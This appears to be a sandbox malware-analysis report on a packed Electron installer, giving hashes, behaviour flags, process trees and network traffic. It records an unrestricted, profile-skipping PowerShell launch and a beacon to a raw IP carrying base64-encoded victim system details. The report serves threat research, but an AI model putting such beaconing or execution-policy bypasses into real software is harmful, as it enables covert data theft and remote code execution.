File name:

643e5c9f4d04d42375b344b00550bc7ed4d119e6

Full analysis: https://app.any.run/tasks/74e8f48b-5020-40a8-8fe7-7718dfa14be0
Verdict: Malicious activity
Analysis date: December 13, 2024, 19:20:07
OS: Windows 10 Professional (build: 19045, 64 bit)
Tags:
nodejs
Indicators:
MIME: application/vnd.microsoft.portable-executable
File info: PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive, 5 sections
MD5:

297D5CE4DCBAE459987DE91D17DCB9A8

SHA1:

643E5C9F4D04D42375B344B00550BC7ED4D119E6

SHA256:

155D357DEAC165E8EB2750FC63D2BCF34E90095B61772BFF1C20D22435B2262B

SSDEEP:

786432:DgqoMmxuOvaMAZzseQE00KBRXG5Cs4Qnyg:DDoMKuOvaMAZzsmaXG5Cs4Qnv

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Executing a file with an untrusted certificate

      • 643e5c9f4d04d42375b344b00550bc7ed4d119e6.exe (PID: 6816)

    • Changes powershell execution policy (Unrestricted)

      • PleasureHipness Inc.exe (PID: 6884)

  • SUSPICIOUS

    • Malware-specific behavior (creating "System.dll" in Temp)

      • 643e5c9f4d04d42375b344b00550bc7ed4d119e6.exe (PID: 6816)

    • Reads security settings of Internet Explorer

      • 643e5c9f4d04d42375b344b00550bc7ed4d119e6.exe (PID: 6816)

    • Process drops legitimate windows executable

      • 643e5c9f4d04d42375b344b00550bc7ed4d119e6.exe (PID: 6816)

    • Executable content was dropped or overwritten

      • 643e5c9f4d04d42375b344b00550bc7ed4d119e6.exe (PID: 6816)

    • The process creates files with name similar to system file names

      • 643e5c9f4d04d42375b344b00550bc7ed4d119e6.exe (PID: 6816)

    • Drops 7-zip archiver for unpacking

      • 643e5c9f4d04d42375b344b00550bc7ed4d119e6.exe (PID: 6816)

    • Starts application with an unusual extension

      • cmd.exe (PID: 6948)

    • Application launched itself

      • PleasureHipness Inc.exe (PID: 6884)

    • Starts CMD.EXE for commands execution

      • PleasureHipness Inc.exe (PID: 6884)

    • The process bypasses the loading of PowerShell profile settings

      • PleasureHipness Inc.exe (PID: 6884)

    • Using 'findstr.exe' to search for text patterns in files and output

      • cmd.exe (PID: 6552)

    • Starts POWERSHELL.EXE for commands execution

      • PleasureHipness Inc.exe (PID: 6884)

    • The process hides Powershell's copyright startup banner

      • PleasureHipness Inc.exe (PID: 6884)

  • INFO

    • The sample compiled with english language support

      • 643e5c9f4d04d42375b344b00550bc7ed4d119e6.exe (PID: 6816)

    • Checks supported languages

      • 643e5c9f4d04d42375b344b00550bc7ed4d119e6.exe (PID: 6816)
      • PleasureHipness Inc.exe (PID: 6884)
      • PleasureHipness Inc.exe (PID: 5464)
      • chcp.com (PID: 7008)
      • PleasureHipness Inc.exe (PID: 7088)

    • Create files in a temporary directory

      • 643e5c9f4d04d42375b344b00550bc7ed4d119e6.exe (PID: 6816)

    • Reads the computer name

      • 643e5c9f4d04d42375b344b00550bc7ed4d119e6.exe (PID: 6816)
      • PleasureHipness Inc.exe (PID: 6884)
      • PleasureHipness Inc.exe (PID: 5464)
      • PleasureHipness Inc.exe (PID: 7088)

    • Changes the display of characters in the console

      • cmd.exe (PID: 6948)

    • Checks proxy server information

      • PleasureHipness Inc.exe (PID: 6884)

    • Reads the machine GUID from the registry

      • PleasureHipness Inc.exe (PID: 6884)

    • Node.js compiler has been detected

      • PleasureHipness Inc.exe (PID: 6884)
      • PleasureHipness Inc.exe (PID: 5464)
      • PleasureHipness Inc.exe (PID: 7088)

    • The process uses the downloaded file

      • powershell.exe (PID: 4944)
      • powershell.exe (PID: 6164)
      • powershell.exe (PID: 3700)
      • powershell.exe (PID: 3952)
      • powershell.exe (PID: 6660)
      • powershell.exe (PID: 244)
      • powershell.exe (PID: 5536)
      • powershell.exe (PID: 3208)

    • Script raised an exception (POWERSHELL)

      • powershell.exe (PID: 2756)
      • powershell.exe (PID: 5388)
      • powershell.exe (PID: 236)
      • powershell.exe (PID: 3208)

    • Sends debugging messages

      • PleasureHipness Inc.exe (PID: 6884)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.exe | Win32 Executable (generic) (52.9)
.exe | Generic Win/DOS Executable (23.5)
.exe | DOS Executable Generic (23.5)

EXIF

EXE

MachineType: Intel 386 or later, and compatibles
TimeStamp: 2018:12:15 22:26:14+00:00
ImageFileCharacteristics: No relocs, Executable, No line numbers, No symbols, 32-bit
PEType: PE32
LinkerVersion: 6
CodeSize: 26624
InitializedDataSize: 473088
UninitializedDataSize: 16384
EntryPoint: 0x338f
OSVersion: 4
ImageVersion: 6
SubsystemVersion: 4
Subsystem: Windows GUI
FileVersionNumber: 6.9.6.0
ProductVersionNumber: 6.9.6.0
FileFlagsMask: 0x0000
FileFlags: (none)
FileOS: Win32
ObjectFileType: Executable application
FileSubtype: -
LanguageCode: English (U.S.)
CharacterSet: Windows, Latin1
FileDescription: -
FileVersion: 4.6.3
LegalCopyright: Copyright © 2024 PleasureHipness Inc
LegalTrademarks: PleasureHipness
ProductName: PleasureHipness Inc
ProductVersion: 6.9.6
No data.
screenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
177
Monitored processes
54
Malicious processes
2
Suspicious processes
0

Behavior graph

Click at the process to see the details
start 643e5c9f4d04d42375b344b00550bc7ed4d119e6.exe pleasurehipness inc.exe cmd.exe no specs conhost.exe no specs chcp.com no specs pleasurehipness inc.exe no specs pleasurehipness inc.exe no specs cmd.exe no specs conhost.exe no specs powershell.exe no specs powershell.exe no specs conhost.exe no specs powershell.exe no specs conhost.exe no specs conhost.exe no specs cmd.exe no specs conhost.exe no specs findstr.exe no specs cmd.exe no specs conhost.exe no specs powershell.exe no specs conhost.exe no specs powershell.exe no specs conhost.exe no specs powershell.exe no specs powershell.exe no specs conhost.exe no specs powershell.exe no specs conhost.exe no specs powershell.exe no specs conhost.exe no specs powershell.exe no specs conhost.exe no specs conhost.exe no specs powershell.exe no specs conhost.exe no specs powershell.exe no specs conhost.exe no specs powershell.exe no specs conhost.exe no specs powershell.exe no specs powershell.exe no specs conhost.exe no specs powershell.exe no specs conhost.exe no specs powershell.exe no specs conhost.exe no specs powershell.exe no specs conhost.exe no specs powershell.exe no specs conhost.exe no specs powershell.exe no specs conhost.exe no specs conhost.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
6816"C:\Users\admin\AppData\Local\Temp\643e5c9f4d04d42375b344b00550bc7ed4d119e6.exe" C:\Users\admin\AppData\Local\Temp\643e5c9f4d04d42375b344b00550bc7ed4d119e6.exe
explorer.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
134
Version:
4.6.3
Modules
Images
c:\users\admin\appdata\local\temp\643e5c9f4d04d42375b344b00550bc7ed4d119e6.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\user32.dll
6884"C:\Users\admin\AppData\Local\Temp\2q4lrrU9xmobPxyZ5U2SfO6o7kS\PleasureHipness Inc.exe" C:\Users\admin\AppData\Local\Temp\2q4lrrU9xmobPxyZ5U2SfO6o7kS\PleasureHipness Inc.exe
643e5c9f4d04d42375b344b00550bc7ed4d119e6.exe
User:
admin
Company:
GitHub, Inc.
Integrity Level:
MEDIUM
Description:
PleasureHipness Inc
Exit code:
134
Version:
4.6.3
Modules
Images
c:\users\admin\appdata\local\temp\2q4lrru9xmobpxyz5u2sfo6o7ks\pleasurehipness inc.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\oleaut32.dll
6948C:\WINDOWS\system32\cmd.exe /d /s /c "chcp"C:\Windows\SysWOW64\cmd.exe—PleasureHipness Inc.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
10.0.19041.3636 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\msvcrt.dll
6964\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
7008chcpC:\Windows\SysWOW64\chcp.com—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Change CodePage Utility
Exit code:
0
Version:
10.0.19041.3636 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\chcp.com
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\msvcrt.dll
7088"C:\Users\admin\AppData\Local\Temp\2q4lrrU9xmobPxyZ5U2SfO6o7kS\PleasureHipness Inc.exe" --type=gpu-process --user-data-dir="C:\Users\admin\AppData\Roaming\boyyyhdgbntaxqtj" --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAGAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1888 --field-trial-handle=1892,i,14310824734987027113,4581501042805669463,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2C:\Users\admin\AppData\Local\Temp\2q4lrrU9xmobPxyZ5U2SfO6o7kS\PleasureHipness Inc.exe—PleasureHipness Inc.exe
User:
admin
Company:
GitHub, Inc.
Integrity Level:
LOW
Description:
PleasureHipness Inc
Exit code:
0
Version:
4.6.3
Modules
Images
c:\users\admin\appdata\local\temp\2q4lrru9xmobpxyz5u2sfo6o7ks\pleasurehipness inc.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\oleaut32.dll
5464"C:\Users\admin\AppData\Local\Temp\2q4lrrU9xmobPxyZ5U2SfO6o7kS\PleasureHipness Inc.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\admin\AppData\Roaming\boyyyhdgbntaxqtj" --mojo-platform-channel-handle=2192 --field-trial-handle=1892,i,14310824734987027113,4581501042805669463,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:8C:\Users\admin\AppData\Local\Temp\2q4lrrU9xmobPxyZ5U2SfO6o7kS\PleasureHipness Inc.exe—PleasureHipness Inc.exe
User:
admin
Company:
GitHub, Inc.
Integrity Level:
MEDIUM
Description:
PleasureHipness Inc
Exit code:
0
Version:
4.6.3
Modules
Images
c:\users\admin\appdata\local\temp\2q4lrru9xmobpxyz5u2sfo6o7ks\pleasurehipness inc.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\oleaut32.dll
6232C:\WINDOWS\system32\cmd.exe /d /s /c "echo %COMPUTERNAME%.%USERDNSDOMAIN%"C:\Windows\SysWOW64\cmd.exe—PleasureHipness Inc.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
10.0.19041.3636 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\msvcrt.dll
5388\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
4944powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe—PleasureHipness Inc.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\msvcrt.dll
Total events
104 298
Read events
104 298
Write events
0
Delete events
0

Modification events

No data
Executable files
17
Suspicious files
123
Text files
68
Unknown types
0

Dropped files

PID
Process
Filename
Type
6816643e5c9f4d04d42375b344b00550bc7ed4d119e6.exeC:\Users\admin\AppData\Local\Temp\nst797A.tmp\app-32.7z —
MD5:—
SHA256:—
6816643e5c9f4d04d42375b344b00550bc7ed4d119e6.exeC:\Users\admin\AppData\Local\Temp\nst797A.tmp\7z-out\icudtl.dat —
MD5:—
SHA256:—
6816643e5c9f4d04d42375b344b00550bc7ed4d119e6.exeC:\Users\admin\AppData\Local\Temp\nst797A.tmp\7z-out\LICENSES.chromium.html —
MD5:—
SHA256:—
6816643e5c9f4d04d42375b344b00550bc7ed4d119e6.exeC:\Users\admin\AppData\Local\Temp\nst797A.tmp\System.dllexecutable
MD5:0D7AD4F45DC6F5AA87F606D0331C6901
SHA256:3EB38AE99653A7DBC724132EE240F6E5C4AF4BFE7C01D31D23FAF373F9F2EACA
6816643e5c9f4d04d42375b344b00550bc7ed4d119e6.exeC:\Users\admin\AppData\Local\Temp\nst797A.tmp\7z-out\locales\de.pakbinary
MD5:8E6654B89ED4C1DC02E1E2D06764805A
SHA256:61CBCE9A31858DDF70CC9B0C05FB09CE7032BFB8368A77533521722465C57475
6816643e5c9f4d04d42375b344b00550bc7ed4d119e6.exeC:\Users\admin\AppData\Local\Temp\nst797A.tmp\7z-out\chrome_200_percent.pakbinary
MD5:4610337E3332B7E65B73A6EA738B47DF
SHA256:C91ABF556E55C29D1EA9F560BB17CC3489CB67A5D0C7A22B58485F5F2FBCF25C
6816643e5c9f4d04d42375b344b00550bc7ed4d119e6.exeC:\Users\admin\AppData\Local\Temp\nst797A.tmp\7z-out\locales\ar.pakpgc
MD5:47A6D10B4112509852D4794229C0A03B
SHA256:857FE3AB766B60A8D82B7B6043137E3A7D9F5CFB8DDD942316452838C67D0495
6816643e5c9f4d04d42375b344b00550bc7ed4d119e6.exeC:\Users\admin\AppData\Local\Temp\nst797A.tmp\nsis7z.dllexecutable
MD5:80E44CE4895304C6A3A831310FBF8CD0
SHA256:B393F05E8FF919EF071181050E1873C9A776E1A0AE8329AEFFF7007D0CADF592
6816643e5c9f4d04d42375b344b00550bc7ed4d119e6.exeC:\Users\admin\AppData\Local\Temp\nst797A.tmp\7z-out\locales\cs.pakbinary
MD5:04A680847C4A66AD9F0A88FB9FB1FC7B
SHA256:1CC44C5FBE1C0525DF37C5B6267A677F79C9671F86EDA75B6FC13ABF5D5356EB
6816643e5c9f4d04d42375b344b00550bc7ed4d119e6.exeC:\Users\admin\AppData\Local\Temp\nst797A.tmp\7z-out\locales\ca.pakbinary
MD5:D259469E94F2ADF54380195555154518
SHA256:F98B7442BEFC285398A5DD6A96740CBA31D2F5AADADD4D5551A05712D693029B
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
9
TCP/UDP connections
34
DNS requests
19
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
—
—
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAI5PUjXAkJafLQcAAsO18o%3D
unknown
—
—
whitelisted
6884
PleasureHipness Inc.exe
GET
200
79.133.46.35:80
http://79.133.46.35/call.php?api=register&username=dXNlcg==&userdata=NCBHQl9bb2JqZWN0IE9iamVjdF1fTWljcm9zb2Z0IEJhc2ljIERpc3BsYXkgQWRhcHRlcl9mYWxzZV8xMjgweDcyMF9XaW5kb3dzIDEwIEVudGVycHJpc2VfMjEgbWludXRlcyAoMC4zNiBob3VycylfQzpcVXNlcnNcYWRtaW5fREVTS1RPUC1KR0xMSkxEX2FkbWluX1dpbmRvd3NfTlRfaWEzMl8xMC4wLjE5MDQ1X0M6XFVzZXJzXGFkbWluXEFwcERhdGFcUm9hbWluZ19DOlxVc2Vyc1xhZG1pblxBcHBEYXRhXExvY2FsXFRlbXBfREVTS1RPUC1KR0xMSkxEX19BTUQ2NCBGYW1pbHkgNiBNb2RlbCAxNCBTdGVwcGluZyAzLCBBdXRoZW50aWNBTURfeDg2X0M6XzRfQzpcVXNlcnNcYWRtaW5cQXBwRGF0YVxMb2NhbFxUZW1wXDJxNGxyclU5eG1vYlB4eVo1VTJTZk82bzdrU1xQbGVhc3VyZUhpcG5lc3MgSW5jLmV4ZQ==
unknown
—
—
—
—
—
GET
200
184.30.21.171:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
1176
svchost.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
—
—
whitelisted
—
—
GET
200
23.48.23.143:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
6396
backgroundTaskHost.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAUZZSZEml49Gjh0j13P68w%3D
unknown
—
—
whitelisted
6396
backgroundTaskHost.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0%3D
unknown
—
—
whitelisted
4300
SIHClient.exe
GET
200
184.30.21.171:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl
unknown
—
—
whitelisted
4300
SIHClient.exe
GET
200
184.30.21.171:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl
unknown
—
—
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:137
—
—
—
whitelisted
—
—
51.104.136.2:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
4712
MoUsoCoreWorker.exe
51.104.136.2:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
—
—
104.126.37.130:443
www.bing.com
Akamai International B.V.
DE
whitelisted
—
—
192.229.221.95:80
ocsp.digicert.com
EDGECAST
US
whitelisted
—
—
192.168.100.255:138
—
—
—
whitelisted
—
—
23.48.23.143:80
crl.microsoft.com
Akamai International B.V.
DE
whitelisted
—
—
184.30.21.171:80
www.microsoft.com
AKAMAI-AS
DE
whitelisted
1176
svchost.exe
40.126.32.140:443
login.live.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
1176
svchost.exe
192.229.221.95:80
ocsp.digicert.com
EDGECAST
US
whitelisted

DNS requests

Domain
IP
Reputation
settings-win.data.microsoft.com
  • 51.104.136.2
  • 40.127.240.158
  • 4.231.128.59
whitelisted
google.com
  • 216.58.212.174
whitelisted
www.bing.com
  • 104.126.37.130
  • 104.126.37.155
  • 104.126.37.170
  • 104.126.37.161
  • 104.126.37.186
  • 104.126.37.176
  • 104.126.37.160
  • 104.126.37.137
  • 104.126.37.162
whitelisted
ocsp.digicert.com
  • 192.229.221.95
whitelisted
crl.microsoft.com
  • 23.48.23.143
  • 23.48.23.167
  • 23.48.23.180
  • 23.48.23.164
  • 23.48.23.166
  • 23.48.23.141
  • 23.48.23.173
  • 23.48.23.176
  • 23.48.23.145
whitelisted
www.microsoft.com
  • 184.30.21.171
whitelisted
login.live.com
  • 40.126.32.140
  • 40.126.32.74
  • 20.190.160.22
  • 20.190.160.20
  • 20.190.160.17
  • 40.126.32.138
  • 40.126.32.68
  • 40.126.32.76
whitelisted
go.microsoft.com
  • 23.35.238.131
whitelisted
www.google.com
  • 142.250.184.228
whitelisted
arc.msn.com
  • 20.223.36.55
whitelisted

Threats

No threats detected
Process
Message
PleasureHipness Inc.exe
<--- JS stacktrace --->
PleasureHipness Inc.exe
<--- Last few GCs ---> [6884:4CD04000] 42066 ms: Mark-Compact 1004.2 (1045.6) -> 1003.6 (1045.6) MB, 2625.00 / 0.00 ms (average mu = 0.220, current mu = 0.018) allocation failure; scavenge might not succeed [6884:4CD04000] 44836 ms: Mark-Compact 1011.3 (1045.6) -> 1010.7 (1060.4) MB, 2765.00 / 0.00 ms (average mu = 0.109, current mu = 0.000) allocation failure; scavenge might not succeed
Interactive malware hunting service ANY.RUN
© 2017-2024 ANY.RUN LLC. ALL RIGHTS RESERVED
ANY.RUN
Reports
643e5c9f4d04d42375b344b00550bc7ed4d119e6